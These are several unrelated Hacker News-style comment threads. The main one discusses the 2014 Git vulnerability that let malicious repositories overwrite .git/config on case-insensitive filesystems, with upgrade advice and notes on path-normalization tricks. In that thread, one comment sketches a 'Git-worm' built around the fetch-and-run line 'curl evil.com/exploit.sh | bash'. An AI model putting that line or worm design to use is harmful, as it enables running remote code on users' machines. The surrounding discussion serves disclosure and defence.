Git client vulnerability announced - <AUTHOR> https://github.com/blog/1938-git-client-vulnerability-announced <comment><USER2> Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows.

Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...

There's an analogous vulnerability in Mercurial.

Update, then run git --version and make sure it's one of v18.104.22.168, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third- parties.

EDIT: right, no "or", what are you doing reading this instead of updating?

<comment><USER3> Hmm. I have git 2.2.0 installed through Homebrew, but the Homebrew repo seems broken at the moment?

edit: Nevermind, short-lived issue. Just upgraded to 2.2.1.

<comment><USER4> For anyone looking to update via Homebrew, make sure it has the latest formulae:

      brew update
      brew upgrade git

</comment></comment></comment><comment><USER5> I think here is a good argument for not using case-insensitive filesystems - because _every single filename comparison_ gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case- insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definition of "case" changes with locale, for instance. In contrast, with filenames that are treated as dumb and simple, plain sequences of bytes that just cannot contain certain characters (and thus compared accordingly for equality, bit-by-bit), there is no need to even consider the concept of "case", and no ambiguity: It either matches exactly or doesn't match.

(I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)

<comment><USER6> I once tried to install OS X with case sensative filesystem. Turns out Photoshop for OS X does not work in that case. Had to go back to case- insensitive. Not sure how many other apps have the same issue.

<comment><USER7> World of Warcraft (and any other Blizzard game) won't run off of a case sensitive filesystem.

<comment><USER8> Steam also requires case-insensitive filesystem on OSX.

<comment><USER9> Steam on Linux does not. That probably means that Linux doesn't get any steam games that require a case-insensitive fs even if they would work otherwise (unity3d, monogame, ...), at least if there isn't a special linux version that does not require it.

I never really thought about this issue.

</comment></comment></comment></comment></comment><comment><USER10> Homebrew just updated ([https://github.com/Homebrew/homebrew/pull/35105](https://github.com/Homebrew/homebrew/pull/35105)), so Homebrew users should be covered by

        brew update && brew upgrade git

<comment><USER11> brew update will use `git clone`, so yeah...

<comment><USER10> If you read the blog post, GitHub has checked all their repos for for this exploit and is blocking it on pushes; cloning from GitHub _should_ be safe.

<comment><USER11> The blocking pushes is what I was concerned with, along with brew searching pull requests.

</comment></comment></comment></comment><comment><USER12> If you don't want to use homebrew on mac, here is the list of commands I used to upgrade: [https://gist.github.com/jazzychad/07c0c6da5709202e8106](https://gist.github.com/jazzychad/07c0c6da5709202e8106)

<comment><USER13> Thanks for this. Might want to move the original /usr/bin/git out of the way, rather than outright deleting it, juuuuust in case you end up needing the original binary.

<comment><USER12> /usr/bin/git is usually a soft symlink, so the original binary is still there when you rm the synlink. You can see the actual location by doing

        ls -al /usr/bin/git

If it's not in fact a symlink then yes you should probably rename it to preserve it.

<comment><USER14> Yosemite, mine is not

</comment></comment></comment></comment><comment><USER15> I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]:

> A big "thanks!" for bringing this issue to us goes to our friends in the > Mercurial land, namely, Matt Mackall and Augie Fackler.

It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor.

This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers.

[1] [http://article.gmane.org/gmane.linux.kernel/1853266](http://article.gmane.org/gmane.linux.kernel/1853266)

edit: Upgrade ASAP!

<comment><USER16> It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.

<comment><USER15> Yeah, but typically you have a certain level of trust in your project dependencies. Adding a library to your project often means granting access to your system anyway (if the dependency contains executable code).

<comment><USER17> You were and are vulnerable to malicious projects by running:

        git clone git://...
        make

or anything similar, since you are running arbitrary code out of the repository. This release fixes the problem of:

        git clone git://...
        git show

etc. Git cannot fix the "clone and run" problem, which is a social one. But it should be safe to run git commands to inspect the repository contents.

<comment><USER18> I don't think the GP should be downvoted. What you say is exactly correct - however - I can't even think of a time I've git cloned some piece of code and not proceeded to run some code from it at some point, typically on the same machine. I download code for the purpose of using it, and while I could hypothetically inspect the entire repository for malicious code, I don't think I'm unusual in not doing that on a regular basis.

I guess maybe Docker/Vagrant/etc. users don't normally run code directly on their development machine, so it can be high priority for them. But as someone who doesn't use these tools (not a web developer), for me the vulnerability is extremely low priority.

<comment><USER17> I think we are actually agreeing.

I think it is important to have this Git fix, because it lets people be careful if they choose. But in practice most people are _not_ careful, and will happily clone and run code without inspecting it (or pipe curl to bash!). It's almost impossible to do otherwise, as there are only so many hours in the day.

Ultimately I think we are mostly protected by the fact that this kind of attack is simply not all that common. And if it were done in a very widespread way, somebody would probably notice and the repo would come under scrutiny. It would probably be very effective as a directed attack against a small number of people, especially if the code you executed was sneaky (i.e., install a rootkit, not `rm -rf /`).

</comment></comment></comment></comment></comment></comment><comment><USER19> >In addition, the following updated versions of Git address this vulnerability: Not everyone has the patch.

The Git core team has announced maintenance releases for all current versions of Git (v220.127.116.11, v1.9.5, v2.0.5, v2.1.4, and v2.2.1).

I have one Windows machine and went to update [http://git- scm.com/download/win](http://git-scm.com/download/win) (preview Version 1.9.4)

It was released 3 months ago, on 2014-09-29.

[https://msysgit.github.io](https://msysgit.github.io) (Version 1.9.5 preview BUT no documentation that this is for a security fix)

Doesn't seem like I can update my git client

<comment><USER20> For whatever it's worth, I just downloaded 1.9.5 for Windows from [https://msysgit.github.io/](https://msysgit.github.io/). While the release notes don't mention "CVE-2014-9390" explicitly, it does say this:

Changes since Git-1.9.4-preview20140929

New Features ...

Bugfixes

* Safeguards against bogus file names on NTFS.

Edit: Actually, there it is on their git hub releases page. [https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...](https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-preview20141217)

</comment></comment><comment><USER21> Visual Studio is affected by this; Microsoft has released patches for Visual Studio 2013, Visual Studio 2013 Update 4 and an updated Git Provider for Visual Studio 2012. Users of Visual Studio are urged to apply an update.

Brian Harry's blog has more information and links to download URLs for the updates: [http://blogs.msdn.com/b/bharry/archive/2014/12/18/git- vulner...](http://blogs.msdn.com/b/bharry/archive/2014/12/18/git- vulnerability-with-git-config.aspx)

</comment><comment><USER22> > We have also completed an automated scan of all existing content on > github.com to look for malicious content that might have been pushed to our > site before this vulnerability was discovered

did they find any problems? The post doesn't say...

<comment><USER17> We found 10 repositories which would have been blocked on push with the new restrictions. None of them were found to be malicious.

<comment><USER23> Do those 10 repos include private repos? What is GitHub's policy about scanning/inspecting private repos in cases like this?

</comment></comment></comment><comment><USER24> Git-worm concept:

* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"

* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)

* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig

<comment><USER25> You don't even need to alias a typo - if the vulnerability allows to overwrite arbitrary files in the .git-directory, which is what it sounds like, you can just add a book that will be executed on each commit/fetch/push/etc...

So yes, this is dangerous.

<comment><USER25> ... hook, not book...

</comment></comment></comment><comment><USER26> Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS. (because Git is too bloated and complex in their view, so they weren't able to review it thoroughly, which would have been the only way for them to trust it.)

I always get a strange, uneasy feeiling when the tin foil hats turn out to be right.

I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. [1]

[1] [http://www.tedunangst.com/flak/post/signify](http://www.tedunangst.com/flak/post/signify)

<comment><USER27> Git devs made the incorrect assumption that saving .giT/cONFIg to disk, would actually save .giT/cONFIg to disk.

Ridiculously enough, this is not always the case (I weep for us).

Should they have known that Windows and MacOS sport case-insensitive filesystems? Definitely.

But, how does this have anything to do with bloat or complexity?

<comment><USER27> And the case-sensitivity stuff is somewhat low-hanging fruit, but...

       On Windows, certain path components that are different from ".git"
       are mapped to ".git", e.g. "git~1/config" is treated as if it were
       ".git/config".  HFS+ has a similar issue, where certain unicode
       codepoints are ignored, e.g. ".g\u200cit/config" is treated as if
       it were ".git/config"

So _that 's_ what ridiculous means. Huh.

<comment><USER28> Oh my lord. That's just Windows being vulnerable, rather than git though, right? No way every piece of Windows software protects adequately against that ... misfeature.

<comment><USER29> There's been half a dozen path traversing exploits against MS IIS, before they finally caved in and took reasonably complete measures in IIS 6 (IIRC).

</comment></comment></comment></comment></comment><comment><USER30> Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)

<comment><USER30> Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source.

edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries

<comment><USER31> git-scm does not seem to be a reliable source anymore. For Windows, go directly here: [https://msysgit.github.io/](https://msysgit.github.io/)

</comment></comment></comment><comment><USER32> Any Ubuntu users who are looking to update as a precaution might find this link to the "Ubuntu Git Maintainers" ppa useful: [https://launchpad.net/~git- core/+archive/ubuntu/ppa](https://launchpad.net/~git-core/+archive/ubuntu/ppa)

also: [https://stackoverflow.com/questions/19109542/installing- late...](https://stackoverflow.com/questions/19109542/installing-latest- version-of-git-in-ubuntu)

</comment><comment><USER33> Link to the patch that fixed it: [https://github.com/git/git/commit/cc2fc7c](https://github.com/git/git/commit/cc2fc7c)

<comment><USER21> It's more than just that. There are a number of additional checks that are performed for the benefit of various insane filesystems like HFS and NTFS. For example: HFS has several codepoints that are ignored for the purposes of name comparison; for example, U+200C. We need to protect against those, too, or else you could have ".git<U+200C>/config" in your repository that maps to ".git/config".

<comment><USER34> Given that NTFS is closed-source, can we know if these protections are actually sufficient now?

</comment></comment></comment><comment><USER35> "Otherwise, an unsuspecting user can run git pull from an innocuous-looking- but-malicious repository and have the meta-information in her repository overwritten, or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." [1]

You could pull down git hooks that root your box, pretty intense hack, update now!

1\. [http://git- blame.blogspot.com.es/2014/12/git-1856-195-205-21...](http://git- blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html)

</comment><comment><USER36> Should programs periodically check for critical security fixes, and then refuse to run if the current version is affected?

It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists.

One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated.

Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.

<comment><USER37> I'm not sure how I feel about programs phoning home like that. I tolerate it with apps, but command line tools ought to be doing their stated function when run.

<comment> semi-extrinsic There was a discussion of this a few weeks ago on the mailinglist of a scientific software project I use. The people were very clearly divided into the "Flash does it, so it's ok" and "omg no, think of the user privacy" camps, it was quite interesting.

<comment><USER37> I think I'm much more ok with background things upgrading in the background. For instance: I never open a new browser tab and think "hmmm, lets launch a Flash process", it's just there, ready to respond when needed. So it isn't shocking to find that it polls for updates and applies them.

By contrast, git is a tool that I manually invoke on the command line, and when the process terminates it's done. Having that phone home at runtime feels more invasive.

<comment> semi-extrinsic That's a good point actually. It fits with the principle of least confusion. (The software I mentioned is a command line tool/library.)

<comment><USER36> A tool printing "This version has a critical vulnerability, upgrade immediately" wouldn't be confusing though, or cause any problems. Even if it wasn't connected to the network, it simply wouldn't print that message. Everything else would still work properly.

It seems like people are worried about privacy without thinking it through.

</comment></comment></comment></comment></comment></comment><comment><USER38> I am running OSX Yosemite.

        ➜  ~  git --version
        git version 1.9.3 (Apple Git-50)

When I navigate to [http://git-scm.com/download/mac](http://git- scm.com/download/mac) it downloads 2.0.1 which was released on 6/29/14\. How can I upgrade to 1.9.5?

<comment><USER21> Apple has updated this in Xcode 6.2 beta 3: [http://support.apple.com/en- us/HT204147](http://support.apple.com/en-us/HT204147)

<comment><USER39> Seems like the Command Line Tools (without XCode), which also ships git, have not been updated (yet). Rather annoying.

<comment><USER40> I'm with you. I was really hoping today we'd see a fix in the Command Line Tools and existing XCode versions. How is Apple including the fix only in the next version (beta) a sufficient response?

</comment></comment></comment></comment><comment><USER41> There does not appear to be an updated version of git for cygwin just yet.

</comment><comment><USER42> What happens if the folder is named .GİT or .gıt in a Turkish locale?

<comment><USER43> (Because [http://msdn.microsoft.com/en- us/library/ms973919.aspx#string...](http://msdn.microsoft.com/en- us/library/ms973919.aspx#stringsinnet20_topic5) for anyone wondering 'Why Turkish?')

</comment></comment><comment><USER44> Apple has fixed this in Xcode 6.2 beta 3: [http://support.apple.com/en- us/HT204147](http://support.apple.com/en-us/HT204147)

<comment><USER45> That's not super helpful as long as Apple still forbids app store submissions built with beta tools.

</comment></comment><comment><USER46> Also case insensitive file systems has other problems with git, if your team has a sensitive one. Mac comes with defaulted to insensitive and that is not good.

</comment><comment><USER47> Anybody have an idea when SourceTree will have an update?

<comment><USER48> I don't know - but in SourceTree's preferences, you can tell it to "Use System Git". On a Mac, if your system's git isn't what it ought to be, then do `brew install git` (assuming you have Homebrew installed) and make it use that git rather than the Apple one.

</comment></comment><comment><USER49> > Git clients running on OS X (HFS+) or any version of Microsoft Windows > (NTFS, FAT) are exploitable through this vulnerability. Linux clients are > not affected if they run in a case-sensitive filesystem.

What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...

</comment><comment><USER27> Isn't it pretty nonchalant that git-scm.com doesn't have a huge red banner advising people to "pay attention and update, or face the pwn"?

Maybe alert banners aren't in the git-scm.com css template.

edit: Is it that I'm on Linux? I changed a few UAs but the download image still reads "Downloads for Linux".

</comment><comment><USER50> For those using HomeBrew on OSX: brew update; brew upgrade git;

Then, make sure that HomeBrew versions are taking precedence: echo export PATH='/usr/local/bin:$PATH' >> ~/.bash_profile

</comment><comment><USER51> The download page at [http://git-scm.com/download/mac](http://git- scm.com/download/mac) still offers 2.0.1 even though the start page announces 2.2.1.

<comment><USER52> Same for me. But [http://git-scm.com/](http://git-scm.com/) offers 2.2.1

<comment><USER53> It looks like 2.2.1 is the latest source code version, but the builds for Windows and Mac are slightly behind. The windows download is 1.9.5, but was built 13 hours ago and has the fix.

</comment></comment></comment><comment><USER54> Is github desktop app using a custom version of git ? Having update to git 1.9.5 and the github application to 2.6.5

i still got "git --version" to return 1.9.4 for mysisgit in git shell.

Is this normal ?

</comment><comment><USER55> Meanwhile, this would have been a great way to share commit hooks.

</comment><comment><USER56> [https://www.kernel.org/pub/software/scm/git/](https://www.kernel.org/pub/software/scm/git/)

</comment><comment><USER57> Here are the git clients: [http://git-scm.com/downloads](http://git- scm.com/downloads)

</comment><comment><USER58> reposting OSX installer for visibility [http://sourceforge.net/projects/git- osx-installer/files/late...](http://sourceforge.net/projects/git-osx- installer/files/latest/download)</comment>


Did somebody just try to buy the British government? - <AUTHOR> http://www.antipope.org/charlie/blog-static/2010/11/conspiracy-theories.html <comment><USER2> 419 Scam aimed at goverments. Probably these people: [http://en.wikipedia.org/wiki/Office_of_International_Treasur...](http://en.wikipedia.org/wiki/Office_of_International_Treasury_Control)

Significant excerpt:

"The OITC proposed to invest US$150 million in a hydro-electric project in the region, subject to Ullauri placing $20,000 in a bank account in Kuala Lumpur, Malaysia as a deposit. She paid in the money as requested in December 2005 but several months later there was no sign of the promised millions from the OITC.[11] In mid-April 2006 Ullauri publicly denounced the OITC as a fraud and lodged a complaint against its principal, Ray Cchat Dam, and two Ecuadorians said to be its local agents.[12]"

<comment><USER3> Ah, and there's a connection, too: the OITC and David James were both involved in bidding to rescue MG Rover. (<http://news.bbc.co.uk/2/hi/business/4681369.stm>)

<comment><USER4> I don't see any reference to the OITC in that BBC article - am I missing something?

<comment><USER5> See the wikipedia article in dansingerman's comment

</comment></comment></comment></comment><comment><USER6> It seems to me that the simplest explanation is that Lord James of Blackheath is barking mad. One commenter at Stross's blog remarks that he's had a stroke, which may or may not be relevant.

<comment><USER7> Well, seems to me the reason you'd think that is because you're stupid. It's not your fault - you were probably just treated roughly as an infant.

Wait, what's that, you don't think casting aspersions on someone's mental capacity is a valid counterargument? Well then.

<comment><USER6> I wasn't offering a counterargument. I was taking it as read that what he says probably isn't true because (1) it sounds very very implausible and (2) if you read what he actually said, it looks like the kind of thing deranged people say; and offering an explanation for how it might be that he came to say such strange things.

(There is further reason for suspecting LJoB's mental state; his most recent other speech in the Lords is pretty weird too.)

If you think that my suggestion that LJoB might be off his head is so ridiculous that no sensible person would make it, or that the way I expressed it is so incoherent that no normal person would write what I did, and if you happen to want explanations, then you absolutely _should_ be considering the possibility that I'm stupid or crazy. [EDITED to add: Especially if you know that in fact I was treated roughly as an infant in a way that would tend to damage my brain. Which, as it happens, doesn't appear to be the case.]

<comment><USER7> His speeches may be weird, but he has an eloquence and a rhetorical flair which seem most at odds with any experience I have had with stroke-sufferers, admittedly not a lot.

Well, I guess I disagree with how implausible it sounds. I suppose not too many foundations are offering billions for anyone who asks, obligation free. Then again, I do wonder what a lot of the money is doing around the world. There are hundreds of individuals and organisations capable of making the offers referenced in the speech. It just doesn't immediately ring of "CRAZY" to me.

</comment></comment></comment></comment><comment><USER8> The sheer eccentricity of the British never ceases to amaze me…

<comment><USER9> Lord James is small fry. This is a country where, in 1976, the _former_ [thanks, zb] Prime Minister summoned 2 journalists to his office, and declared to them:

"I see myself as a big fat spider in the corner of the room. Sometimes I speak when I'm asleep. You should both listen. Occasionally when we meet, I might tell you to go to the Charing Cross Road and kick a blind man standing on the corner. That blind man may tell you something, lead you somewhere."

<comment><USER10> Whilst this initially sounds like a hilarious anecdote Harold Wilson did suffer from Alzheimer's disease which causes a sustained and permanent mental deterioration once it sets in. Also there are severe question marks over the veracity of this particular quote, suggesting it was made up in order to promote the sales of a book called 'The Pencourt File.'

</comment></comment></comment><comment><USER11> The guy is a comic -

[http://www.publications.parliament.uk/pa/ld201011/ldhansrd/t...](http://www.publications.parliament.uk/pa/ld201011/ldhansrd/text/101021-0001.htm#10102148000635)

"They decided to devote the words to the most obscene account of Hermann Göring having sexual congress with a lady kangaroo, which ultimately proved fatal to him because it would not stop jumping. After that, the Reverend Wynn decided that there should be no more of that."

</comment><comment><USER12> There seems to be a misunderstanding in this article that Lord James is a member of the government.

As far as I can tell from his Wikipedia page he is a member of one of the houses of parliament, but has never been a member of government.

<comment><USER13> By this logic you wouldn't call a US Senator a member of the US Government?

<comment><USER14> The usage of the term "government" in commonwealth countries, following the Westminster System (<http://en.wikipedia.org/wiki/Westminster_system>), refers more specifically to the executive branch (prime minister and cabinet) currently in power and not the state in general. Since the Prime Minister and his/her cabinet are merely MPs in high positions, the division between executive and legistlative in terms of personnel is not nearly as clear-cut as it is in US politics.

<comment><USER15> > _The usage of the term "government" in commonwealth countries, following the > Westminster System (<http://en.wikipedia.org/wiki/Westminster_system>), > refers more specifically to the executive branch (prime minister and > cabinet) currently in power and not the state in general._

That's very interesting, I don't think Scottish, English or Welsh people use "government" it that way though FWIW. What word does one use for the government if the word government is co-opted for the Cabinet & PM?

<comment><USER16> _> I don't think Scottish, English or Welsh people use "government" it that way though_

Well, you'd be wrong. That's exactly how we use it when we're talking about people. I won't pretend you don't hear the same word used to refer to 'the State' (which is the term we use for the overall apparatus of the State) colloquially, but you can always distinguish from context.

<comment><USER15> I know it's a single data point but I've lived for several years in each region and worked in government (note I've never been part of the cabinet nor PM, sorry for my apparently uncommon usage).

I'm not arguing that the more intellectual echelons such as political scientists don't use it in the described manner however; don't move in those circles.

I never hear people refer to our country [the UK] as "the state" either. I perceive state as including the people (but ours is a [pseudo] democratic state so I'm coloured by that.

It's strange that I've not heard this usage, isn't it?

I just jumped to the first newspaper I thought of (well the 2nd, but paywall ...) and the first story in the UK Politics section that mentioned government (Ctrl+f search on the UK Pol' page).

[http://www.independent.co.uk/news/uk/politics/david- cameron-...](http://www.independent.co.uk/news/uk/politics/david-cameron- defends-immigration-cap-2124168.html)

"The Government's immigration cap should not affect inter-company transfers for global firms, David Cameron said today. "

Well it's not the "cabinet and prime ministers immigration cap". The immigration cap is that [on some level] agreed in parliament, passed by the Lords and implemented by the relevant civil servants. I'm still not seeing it.

Whereabouts in the UK are you all (upvoters) from, what occupations are you in?

<comment><USER17> By "worked in government" do you mean "worked in a department of the civil service eventually reporting to a cabinet minister"?

<comment><USER15> Yes, does this also mean that I should call a driver a "car"?

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER18> Link to the recording: [http://www.publications.parliament.uk/pa/ld201011/ldhansrd/t...](http://www.publications.parliament.uk/pa/ld201011/ldhansrd/text/101101-0003.htm#10110215000101)

</comment><comment><USER19> <http://www.parliamentlive.tv/Main/Player.aspx?meetingId=6811>

Video from 22:42:30

</comment><comment><USER20> My personal banker's indiscretions are bubbling up to daily light. I told Morty to keep his personal business apart from mine and leave any trails pointing away from my accounts.

This draws the line and he will be fired for this airing of my account's balances in plebeian circles. My apologies to the fine people of England and the circle of Lords unfortunate enough to have been bothered with the matter.

</comment><comment><USER21> Keep in mind that by Billion he means 10^12, so it is actually a huge amount of money.

<comment><USER22> Are you sure? In Britain billion always means 10^9 these days; it may have been different decades ago.

<comment><USER21> It must, otherwise the argument about there not being 5 billion worth of gold in the world is silly. Baron Blackheath was born in the 30s and worked in banking in the 60s, so he certainly grew up with the 10^12 usage.

<comment><USER23> The UK government switched to the 10^9 usage in the early 70s.

The amount of gold is irrelevant. The scammers have none.

</comment></comment></comment></comment><comment><USER24> Cryptonomicon anyone? This sounds like a Neal Stephenson book, not Robert Ludlum.

</comment><comment><USER25> Serco?

<comment><AUTHOR> Context (since I had no idea what Serco meant): <http://en.wikipedia.org/wiki/Serco_Group>

"The Guardian has called Serco "probably the biggest company you've never heard of." "

<comment><USER26> Holy crap. These are the guys who run my driver's testing? I had no idea that the guy checking my eyesight was part of a group that supports the British Armed forces.

Talk about bizarre.</comment></comment></comment>


Dear Data has been acquired by MoMA, but it's not what we are most excited about - <AUTHOR> https://medium.com/@giorgialupi/dear-data-has-been-acquired-by-moma-but-this-isnt-what-we-are-most-excited-about-bdaa3376d9db#.ortnawfw5 <comment><AUTHOR> Such a intimate and inspiring project -- cool to see it be recognized like this. I could see doing this with a partner but we'd probably have to dispense with actual snail mail aspect. Still sketch but maybe just take pictures of the drawings and share those back and forth. Aside from the cool personal exchange, the practical experience you would get with viz design in even a month or two of this would dwarf what you'd get from taking most formal visualization courses.</comment>


Ammonite: Scala Scripting - <AUTHOR> https://ammonite.io/ <comment><USER2> I'm just writing an emacs process-output reader on top of [https://github.com/zwild/ammonite-term- repl](https://github.com/zwild/ammonite-term-repl) to get Ammonite's completion directly in emacs buffers. Of course it's a (very) dirty hack compared to something like a notebook or nREPL, but for my needs a notebook is too heavyweight and there isn't a nREPL implementation for ammonite/scala.

I started writing this so I could at the same time learn some elisp while writing something I would use in future. I'm still trying to figure out things (git forkflow, elisp, scala) but it already seems to work most of the times.

Link: [https://github.com/spellcard199/ammonite-term-repl- completio...](https://github.com/spellcard199/ammonite-term-repl-completion)

<comment><USER3> Neat, will check it out</comment></comment>